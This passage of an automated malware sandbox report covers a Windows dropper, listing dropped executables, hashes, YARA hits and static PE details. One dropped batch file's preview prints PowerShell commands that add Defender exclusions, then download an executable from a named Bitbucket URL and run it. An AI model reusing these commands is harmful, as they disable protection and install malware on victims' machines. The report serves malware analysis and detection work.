Yara Hits:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...].@]...............2.....N...............0....@.........................................................................lq......................................................................................pt..<............................code...~8.......:.................. ..`.text...b....P.......>.............. ..`.rdata...3...0...4..................@..@.data........p.......L..............@....rsrc................^..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2C55.tmp\2C56.tmp\2C57.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1020057001\install1.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.19252434160247
Encrypted:	false
SSDEEP:	6:NS0o++AI4eGgdEYzPs++AIIzVr+fxiAqBBCJ02BCDKB++AI4eGgdEEFAC2BNXz28:NS9EsuUUEVr+Zi1BBCBBCWBEsuEJ2BNL
MD5:	76AF555991D04DA87F1A8DF43B2C88F4
SHA1:	737F410721D6A825568D9F32A0661B680696EFD7
SHA-256:	F6FE2C1A3DB4489F804B1D78E179912BCD3997D3F27E8AD2BB18D949DCFAADEC
SHA-512:	9AC853ACC3D8254EFAE1276C46B35931E93E0A884A3D2907100A4B84B3EA565DBD4615AD9446BE70C24E16CAFD11A63838F610C612052E31E50AECE219CD5D1D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\2C55.tmp\2C56.tmp\2C57.bat, Author: Joe Security
Preview:	@shift /0..@echo off.powershell /nop /com "Add-MpPreference -ExclusionPath %TEMP%".powershell /nop /com "(New-Object Net.WebClient).DownloadFile('https://bitbucket.org/mynewworkspace123312/scnd/downloads/tiktok_adult.exe', '%TEMP%\tiktok_adult.exe')";.powershell /nop /com "Add-MpPreference -ExclusionProcess %TEMP%\tiktok_adult.exe".cmd.exe /c %TEMP%\tiktok_adult.exe;..

C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe

Download File

Process:	C:\Users\user\Desktop\uLkHEqZ3u3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2814976
Entropy (8bit):	6.531610366891791
Encrypted:	false
SSDEEP:	49152:jJwKYGW6HMQm8T9kaxGNR3iztNOamNACtoiy62wxEh:jJwFGW6HMQm8T9kHriO4tp7cE
MD5:	10028B6D8256496F25456130D84295E4
SHA1:	D1737800077BC4099E4B2D338E4D015D22E75D0D
SHA-256:	3FBA4C97212EC831CC7B2E69CC6AA1A2D12F4C28A8D274318DC7A6DAD27F3897
SHA-512:	E98D0086B7393C0C41902F6D2311873F982B6D5820C9BA85F526E862F270D14A27CF015C8CE3F2A7095CF66938C5144618A0F1D4B3BCC2842B84E8EBDF39B6D4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@+.. ...`....@.. ........................+.....^.+...`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...rujujpld........f..h..............@...tkihlsxu. ... +....................@....taggant.@...@+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Download File

Process:	C:\Users\user\Desktop\uLkHEqZ3u3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2907648
Entropy (8bit):	6.523191625219232
Encrypted:	false
SSDEEP:	49152:bKyuErzV1Ja1FKhLCxJGv55SQ7Hq7IFi6TTHaP:+yuErJ1Ja1FKhK651zq7d+Li
MD5:	225AD75097A8A68691F54CA412436016
SHA1:	FF923EFC942D2DCAA09E606670D885A33ACA006F
SHA-256:	2C2BE79B1436A951AC0837E50A624FDDC1B2C704C4E1F95F9E0279639F726EDC
SHA-512:	2FDBB1228FCD916856A135C9A863403E643CF470AE342E6091E61804E0EF01F235AAD32EED2562644912EF0DE78E72FD0D8C5A4812C1A9AC4D25617F979F5999
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@...........................O.......,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...pkmjmmvt.....$.....\|..............@...ypshbykv......O......8,.............@....taggant.0....O.."...<,.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3x3tdtml.skk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ep0hz0ox.vio.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\CGIJECFIEC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3247616
Entropy (8bit):	6.6380490058684005
Encrypted:	false
SSDEEP:	49152:swU4WWhe7ACiUEyiM+e6oCYXwZQBCJKV5zmiRPF30:pU4WW87NEyi7e6zEwzJm5z/k
MD5:	C276BD1105BF94A6A453275FAC1472DD
SHA1:	4518A7FE9D819DE8DE399D610DEDAEF6E03DE114
SHA-256:	386091CCD3787A0CE0DEFB33AD982A956F95A8B92A50585C79F2B6F92C744F09
SHA-512:	D8CE36CA8B61C6D0A5609ACAFBC8E6164D29A287E4F8AD0465E1326FE91D0892D60DE26AB64F6A6BC9ADC6183AE9FFBCFB5F46ABBC693D8AB776EB50CDFB56A7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....U.1...@.................................W...k...........................T.1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...qmfgnvnj..........................@...jskflmnk......1......h1.............@....taggant.0....1.."...l1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\CGIJECFIEC.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3247616
Entropy (8bit):	6.6380490058684005
Encrypted:	false
SSDEEP:	49152:swU4WWhe7ACiUEyiM+e6oCYXwZQBCJKV5zmiRPF30:pU4WW87NEyi7e6zEwzJm5z/k
MD5:	C276BD1105BF94A6A453275FAC1472DD
SHA1:	4518A7FE9D819DE8DE399D610DEDAEF6E03DE114
SHA-256:	386091CCD3787A0CE0DEFB33AD982A956F95A8B92A50585C79F2B6F92C744F09
SHA-512:	D8CE36CA8B61C6D0A5609ACAFBC8E6164D29A287E4F8AD0465E1326FE91D0892D60DE26AB64F6A6BC9ADC6183AE9FFBCFB5F46ABBC693D8AB776EB50CDFB56A7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....U.1...@.................................W...k...........................T.1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...qmfgnvnj..........................@...jskflmnk......1......h1.............@....taggant.0....1.."...l1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\CGIJECFIEC.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.418109126686615
Encrypted:	false
SSDEEP:	6:p/+ZbbXUhXUEZ+lX1CGdKUe6tE9+AQy0l3Et0:pOr4Q1CGAFD9+nV3Et0
MD5:	DF7C94A18673D0293354CDC97D6AE686
SHA1:	6040136689B62EF28A3F1E4CDFA9649F1F21C66D
SHA-256:	D15CDF73761392673986F0A04BF4562F8B128B56F39CFE8342B7A2538F071C4D
SHA-512:	23BF9A1F0C0ACCC0569A87DBD32D083B975E48CC09D79D7B841D994DF8DE598966B18C625BBE2748FE38FCDD2CE502DD616EF24CABC70F2D120D6BAFA1CC82E3
Malicious:	false
Preview:	.....^n....A..8.Z:3.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................7.@3P.........................

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (862)
Category:	downloaded
Size (bytes):	867
Entropy (8bit):	5.159976678696001
Encrypted:	false
SSDEEP:	24:Odoc2luPSfM+kxBHslgT9lCuABATBuoB7HHHHHHHYqmffffffo:Odoc3afMXxKlgZ01BAduSEqmffffffo
MD5:	1909A9AD39A687DF35BB54AE13BC8D71
SHA1:	B6A46B2EC7EF68FACA694312C3417D86320A28AA
SHA-256:	918160E7C64268FA76A9FB74751386136BC9400C5D4A90ACCF5049C7E30DCEB6
SHA-512:	A7169555137824CEC33EB4A4482E3AC7F8A57390D3C9BC4850CFF9CD91B2A8E4E0C39D1FD4BB6B1608A6891652EA4E917603CA07E9FB623483A3B7359241C901
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["winter solstice shortest day of the year","nascar track closing","samsung galaxy galaxy s25 ultra","nyt connections hints december 22","tesco aldi morrisons product recalls","nasa astronauts stuck","drones in new jersey news","texas rangers trade nathaniel lowe"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggesteventid":3386105874904624960,"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132739
Entropy (8bit):	5.436887039182983
Encrypted:	false
SSDEEP:	3072:f0kJQ7O4N5dTm+syHEt4W3XdQ4Q6luSr/nUW2i6o:fxQ7HTt/sHdQ4Q6lDfUW8o
MD5:	AA935E3019E12FFFBC72E96A511D476F
SHA1:	52FE93BED164DB9F9674E76DFE9760E8B341EBE4
SHA-256:	4ABD820B5AA7957FD894BA4206047DF92C057600095346931CC24B6A2BF2A467
SHA-512:	4714C99991D4CB968193635F6EFD5DF823CD4877FE8A83E401A4584787A9714886D2C75376545A4332E1ABD48E3B2A2DB0506214B8C616C1AA615C8E6D5670FB
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2410)
Category:	downloaded
Size (bytes):	175897
Entropy (8bit):	5.549876394125764
Encrypted:	false
SSDEEP:	3072:t0PuJ7UV1+ApsOC3Ocr4ONnv4clQfOQMmzIWrBQoSpFMgDuq1HBGANYmYALJQIfr:t0PuJQ+ApsOOFZNnvFlqOQMmsWrBQoSd
MD5:	2368B9A3E1E7C13C00884BE7FA1F0DFC
SHA1:	8F88AD448B22177E2BDA0484648C23CA1D2AA09E
SHA-256:	577E04E2F3AB34D53B7F9D2F6DE45A4ECE86218BEC656B01DCAFF1BF6D218504
SHA-512:	105D51DE8FADDE21A134ACA185AA5C6D469B835B77BEBEC55A7E90C449F29FCC1F33DAF5D86AA98B3528722A8F533800F5146CCA600BC201712EBC9281730201
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu0yU9RTMfNNC-LVUmaaNKwIO136g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Ui=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Vi=class extends _.Q{constructor(a){super(a)}};.}catch(e){_._DumpException(e)}.try{.var Wi,Xi,aj,dj,cj,Zi,bj;Wi=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};Xi=function(){_.Ka()};aj=function(a,b){(_.Yi\|\|(_.Yi=new Zi)).set(a,b);(_.$i\|\|(_.$i=new Zi)).set(b,a)};dj=function(a){if(bj===void 0){const b=new cj([],{});bj=Array.prototype.concat.call([],b).length===1}bj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ej=function(a,b,c){a=_.rb(a,b,c);return Array.isArray(a)?a:_.Ac};._.fj=function(a,b){a=2&b?a\|2:a&-3;return(a\|32)&-2049};_.gj=function(a,b){a===0&&(a=_.fj(a,b));return a\|1};_.hj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.ij=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.lj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ej(a,b,d);var k=h[_

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94752048337013
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	uLkHEqZ3u3.exe
File size:	1'911'296 bytes
MD5:	ddf07b20341889b8cabb9ea953370955
SHA1:	c6271d6a6213bcb26ee86db268e1f51ebfe02bff
SHA256:	cba88c337ddeeb5089327bf48dfc6370b3d863102951809ce5a9d664146d6ce1
SHA512:	a1677cbbc6f663cc6b272449b89ee13344a22dd090074361cf16db7b852bd856c52de816a04d908d381cdd1bb8fd4f4c6a8eb12588a1e0c36752731fe3facb4c
SSDEEP:	49152:EXwmLwfltjHNI7ykgKfMpVj4X5gM1jQUPTlTtGH:Egmyy7yzKehSewQkTlTG
TLSH:	CD953378962FFD16C96ED67F0F69B24A3FF439CA29DA2D86196575B20043386312043F
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................K...........@...........................K...........@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8bb000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB9984EE92Ah
invd
sbb eax, 00000000h
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
